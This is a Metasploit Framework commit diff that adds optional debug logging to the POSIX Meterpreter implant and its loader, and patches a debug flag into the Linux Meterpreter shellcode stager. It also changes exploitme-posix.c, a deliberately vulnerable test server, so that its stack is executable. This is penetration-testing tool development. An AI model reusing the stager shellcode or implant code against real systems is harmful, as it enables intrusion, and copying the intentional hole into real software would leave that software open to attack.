1
mirror of https://github.com/rapid7/metasploit-framework synced 2024-11-12 11:52:01 +01:00

Allow debugging to be enabled.

This will make it easier to hopefully track down bugs.

exploitme-posix.c - make complete stack executable. On some kernel versions, execstack doesn't do the trick.

git-svn-id: file:///home/svn/framework3/trunk@10485 4d416f70-5f16-0410-b530-b9f4589650da
This commit is contained in:
pks 2010-09-26 05:58:59 +00:00
parent 784e355d93
commit 14cabd2611
11 changed files with 92 additions and 34 deletions

Binary file not shown.

View File

@ -15,7 +15,7 @@
#define LISTEN_PORT 4545 #define LISTEN_PORT 4545
int main(void) { int vuln(void) {
struct sockaddr_in a; struct sockaddr_in a;
int s, mysock; int s, mysock;
int yes, ret, pagesize; int yes, ret, pagesize;
@ -91,3 +91,15 @@ int main(void) {
} }
} }
int main(void)
{
#ifdef SWITCH_STACK
unsigned char *m;
m = mmap(NULL, 1024 * 1024 * 2, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_ANONYMOUS|MAP_PRIVATE, -1, 0);
m += (1024 * 1024 * 2) - 4;
__asm__("movl %0, %%esp; call vuln" : : "m" (m));
#else
vuln();
#endif
}

View File

@ -2,20 +2,42 @@
#ifndef _WIN32 #ifndef _WIN32
int debugging_enabled;
/* /*
* If we supply real_dprintf in the common.h, each .o file will have a private copy of that symbol. * If we supply real_dprintf in the common.h, each .o file will have a private copy of that symbol.
* This leads to bloat. Defining it here means that there will only be a single implementation of it. * This leads to bloat. Defining it here means that there will only be a single implementation of it.
*/ */
void real_dprintf(char *format, ...) void real_dprintf(char *filename, int line, const char *function, char *format, ...)
{ {
va_list args; va_list args;
char buffer[1024]; char buffer[2048];
int size;
static int fd;
size = snprintf(buffer, sizeof(buffer), "[%s:%d (%s)] ", filename, line, function);
va_start(args, format); va_start(args, format);
vsnprintf(buffer, sizeof(buffer)-2, format, args); vsnprintf(buffer + size, sizeof(buffer) - size, format, args);
strcat(buffer, "\n"); strcat(buffer, "\n");
va_end(args); va_end(args);
write(2, buffer, strlen(buffer));
if(fd <= 0) {
char filename[128];
sprintf(filename, "/tmp/meterpreter.log.%d", getpid());
fd = open(filename, O_RDWR|O_TRUNC|O_CREAT|O_SYNC, 0644);
if(fd <= 0) return;
}
write(fd, buffer, strlen(buffer));
}
void enable_debugging()
{
debugging_enabled = 1;
} }
#endif #endif

View File

@ -13,6 +13,7 @@
#ifdef _UNIX #ifdef _UNIX
#include "compat_types.h" #include "compat_types.h"
#include <fcntl.h>
#include <sys/select.h> #include <sys/select.h>
#include <sys/endian.h> #include <sys/endian.h>
@ -40,8 +41,11 @@ struct ipv4_routing_table {
int netlink_get_ipv4_routing_table(struct ipv4_routing_table **table); int netlink_get_ipv4_routing_table(struct ipv4_routing_table **table);
// only do debugging on unix side of things for now. extern int debugging_enabled;
#define DEBUGTRACE
#define dprintf(...) if(debugging_enabled) { real_dprintf(__FILE__, __LINE__, __FUNCTION__, __VA_ARGS__); }
void real_dprintf(char *filename, int line, const char *function, char *format, ...);
#endif #endif
@ -62,6 +66,7 @@ int netlink_get_ipv4_routing_table(struct ipv4_routing_table **table);
#include "zlib/zlib.h" #include "zlib/zlib.h"
#ifdef _WIN32
//#define DEBUGTRACE //#define DEBUGTRACE
@ -71,8 +76,6 @@ int netlink_get_ipv4_routing_table(struct ipv4_routing_table **table);
#define dprintf(...) do{}while(0); #define dprintf(...) do{}while(0);
#endif #endif
#ifdef _WIN32
#define BREAK_ON_ERROR( str ) { dwResult = GetLastError(); dprintf( "%s. error=%d", str, dwResult ); break; } #define BREAK_ON_ERROR( str ) { dwResult = GetLastError(); dprintf( "%s. error=%d", str, dwResult ); break; }
#define BREAK_WITH_ERROR( str, err ) { dwResult = err; dprintf( "%s. error=%d", str, dwResult ); break; } #define BREAK_WITH_ERROR( str, err ) { dwResult = err; dprintf( "%s. error=%d", str, dwResult ); break; }
#define BREAK_ON_WSAERROR( str ) { dwResult = WSAGetLastError(); dprintf( "%s. error=%d", str, dwResult ); break; } #define BREAK_ON_WSAERROR( str ) { dwResult = WSAGetLastError(); dprintf( "%s. error=%d", str, dwResult ); break; }
@ -91,12 +94,6 @@ static void real_dprintf(char *format, ...) {
OutputDebugString(buffer); OutputDebugString(buffer);
} }
#else
void real_dprintf(char *format, ...);
#endif #endif
#endif #endif

View File

@ -51,6 +51,7 @@ static struct libs libs[] = {
}; };
#define LIBC_IDX 0 #define LIBC_IDX 0
#define LIBSUPPORT_IDX 4
#define METSRV_IDX 5 #define METSRV_IDX 5
#include <pthread.h> #include <pthread.h>
@ -60,11 +61,13 @@ extern int (*pthread_mutex_unlock_fp)(pthread_mutex_t *mutex);
int dlsocket(void *libc); int dlsocket(void *libc);
#define OPT_DEBUG_ENABLE (1 << 0)
/* /*
* Map in libraries, and hand off execution to the meterpreter server * Map in libraries, and hand off execution to the meterpreter server
*/ */
unsigned metsrv_rtld(int fd) unsigned metsrv_rtld(int fd, int options)
{ {
int i; int i;
int (*libc_init_common)(); int (*libc_init_common)();
@ -103,8 +106,10 @@ unsigned metsrv_rtld(int fd)
pthread_mutex_lock_fp = lock_sym; pthread_mutex_lock_fp = lock_sym;
pthread_mutex_unlock_fp = unlock_sym; pthread_mutex_unlock_fp = unlock_sym;
} }
if(fstat(fd, &statbuf) == -1) { if(fstat(fd, &statbuf) == -1) {
options = OPT_DEBUG_ENABLE;
TRACE("[ supplied fd fails fstat() check, using dlsocket() ]\n"); TRACE("[ supplied fd fails fstat() check, using dlsocket() ]\n");
fd = dlsocket(libs[LIBC_IDX].handle); fd = dlsocket(libs[LIBC_IDX].handle);
if(fd == -1) { if(fd == -1) {
@ -113,6 +118,18 @@ unsigned metsrv_rtld(int fd)
} }
} }
if(options & OPT_DEBUG_ENABLE) {
void (*enable_debugging)();
enable_debugging = dlsym(libs[LIBSUPPORT_IDX].handle, "enable_debugging");
if(! enable_debugging) {
TRACE("[ failed to find the enable_debugging function, exit()'ing ]\n");
exit(-1);
}
enable_debugging();
}
server_setup = dlsym(libs[METSRV_IDX].handle, "server_setup"); server_setup = dlsym(libs[METSRV_IDX].handle, "server_setup");
TRACE("[ metsrv server_setup is at %08x, calling ]\n", server_setup); TRACE("[ metsrv server_setup is at %08x, calling ]\n", server_setup);
server_setup(fd); server_setup(fd);
@ -355,7 +372,7 @@ void handle_crashes()
* it will connect to the metasploit meterpreter server. * it will connect to the metasploit meterpreter server.
*/ */
void _start(int fd) void _start(int fd, int options)
{ {
alarm(0); // clear out any pending alarms. alarm(0); // clear out any pending alarms.
@ -364,5 +381,5 @@ void _start(int fd)
handle_crashes(); // try to make debugging a little easier. handle_crashes(); // try to make debugging a little easier.
metsrv_rtld(fd); metsrv_rtld(fd, options);
} }

View File

@ -15,9 +15,13 @@ int main(int argc, char **argv)
{ {
int fd; int fd;
struct stat statbuf; struct stat statbuf;
int (*fp)(); int (*fp)();
int options = 0;
if(argc == 2) {
options = atoi(argv[1]);
}
fd = open("msflinker.bin", O_RDONLY); fd = open("msflinker.bin", O_RDONLY);
if(fd == -1) { if(fd == -1) {
@ -39,6 +43,6 @@ int main(int argc, char **argv)
fp = (unsigned int)EP; fp = (unsigned int)EP;
printf("entry point ahoy @ %08x!\n", fp); fflush(stdout); printf("entry point ahoy @ %08x!\n", fp); fflush(stdout);
fp(5); fp(5, options);
printf("entry point retured\n"); printf("entry point retured\n");
} }

View File

@ -47,7 +47,7 @@ class Console::CommandDispatcher::NetworkPug
tapdev = ::File.open("/dev/net/tun", "wb+") tapdev = ::File.open("/dev/net/tun", "wb+")
0.upto(16) { |idx| 0.upto(16) { |idx|
name = "npug#{idx}" name = "npug#{idx}"
ifreq = [ name, 0x1000 | 0x02, "" ].pack("a16va14") ifreq = [ name, 0x1000 | 0x02, "" ].pack("a16va14")
@ -97,7 +97,7 @@ class Console::CommandDispatcher::NetworkPug
@tapdev.syswrite(packet) @tapdev.syswrite(packet)
elsif(s == @tapdev) elsif(s == @tapdev)
# Packet from tapdev to remote host network # Packet from tapdev to remote host network
packet = @tapdev.sysread(1514) packet = @tapdev.sysread(1514)
@ -108,7 +108,7 @@ class Console::CommandDispatcher::NetworkPug
end end
} if(sd) } if(sd)
if(not sd) if(not sd)
print_line("hmmm. ") print_line("hmmm. ")
end end
end end
@ -125,7 +125,7 @@ class Console::CommandDispatcher::NetworkPug
args.unshift("-h") args.unshift("-h")
end end
@@options.parse(args) { |opt, idx, val| @@options.parse(args) { |opt, idx, val|
# print_line("before: #{opt} #{idx} #{val} || virtual nic: #{virtual_nic}, filter: #{filter}, interface: #{interface}") # print_line("before: #{opt} #{idx} #{val} || virtual nic: #{virtual_nic}, filter: #{filter}, interface: #{interface}")
case opt case opt
when "-v" when "-v"
@ -160,9 +160,9 @@ class Console::CommandDispatcher::NetworkPug
return return
end end
# PKS, we should implement multiple filter strings and let the # PKS, we should implement multiple filter strings and let the
# remote host build it properly. # remote host build it properly.
# not (our conn) and (virtual nic filter) and (custom filter) # not (our conn) and (virtual nic filter) and (custom filter)
# print_line("before virtual, filter is #{filter}") # print_line("before virtual, filter is #{filter}")
if(filter == nil and virtual_nic == true) if(filter == nil and virtual_nic == true)

View File

@ -29,7 +29,8 @@ module Metasploit3
'Session' => Msf::Sessions::Meterpreter_x86_Linux)) 'Session' => Msf::Sessions::Meterpreter_x86_Linux))
register_options([ register_options([
OptBool.new('PrependFork', [ false, "Add a fork() / exit_group() (for parent) code" ]) OptBool.new('PrependFork', [ false, "Add a fork() / exit_group() (for parent) code" ]),
OptInt.new('DebugOptions', [ false, "Debugging options for POSIX meterpreter", 0 ])
], self.class) ], self.class)
end end
@ -96,16 +97,21 @@ module Metasploit3
"\x04\x6a\x07\x5a\x6a\x32\x5e\x31\xff\x89\xfd\x4f\xcd\x80\x3d\x7f" + "\x04\x6a\x07\x5a\x6a\x32\x5e\x31\xff\x89\xfd\x4f\xcd\x80\x3d\x7f" +
"\xff\xff\xff\x72\x05\x31\xc0\x40\xcd\x80\x87\xd1\x87\xd9\x5b\x6a" + "\xff\xff\xff\x72\x05\x31\xc0\x40\xcd\x80\x87\xd1\x87\xd9\x5b\x6a" +
"\x03\x58\xcd\x80\x3d\x7f\xff\xff\xff\x77\xea\x85\xc0\x74\xe6\x01" + "\x03\x58\xcd\x80\x3d\x7f\xff\xff\xff\x77\xea\x85\xc0\x74\xe6\x01" +
"\xc1\x29\xc2\x75\xea\x53\xb8\x5a\x5a\x5a\x5a\xff\xd0\xe9\xd3\xff" + "\xc1\x29\xc2\x75\xea\x6a\x59\x53\xb8\x5a\x5a\x5a\x5a\xff\xd0\xe9" +
"\xff\xff" "\xd1\xff\xff\xff"
# Patch entry point in properly.
# Patch in base ? # Patch in debug options
midstager = midstager.sub("Y", [ datastore['DebugOptions'] ].pack('C'))
# Patch entry point
midstager = midstager.sub("ZZZZ", [ elf_ep(payload) ].pack('V')) midstager = midstager.sub("ZZZZ", [ elf_ep(payload) ].pack('V'))
# Maybe in the future patch in base.
print_status("Transmitting intermediate stager for over-sized stage...(#{midstager.length} bytes)") print_status("Transmitting intermediate stager for over-sized stage...(#{midstager.length} bytes)")
conn.put(midstager) conn.put(midstager)
Rex::ThreadSafe.sleep(3) Rex::ThreadSafe.sleep(1.5)
# Send length of payload # Send length of payload
conn.put([ payload.length ].pack('V')) conn.put([ payload.length ].pack('V'))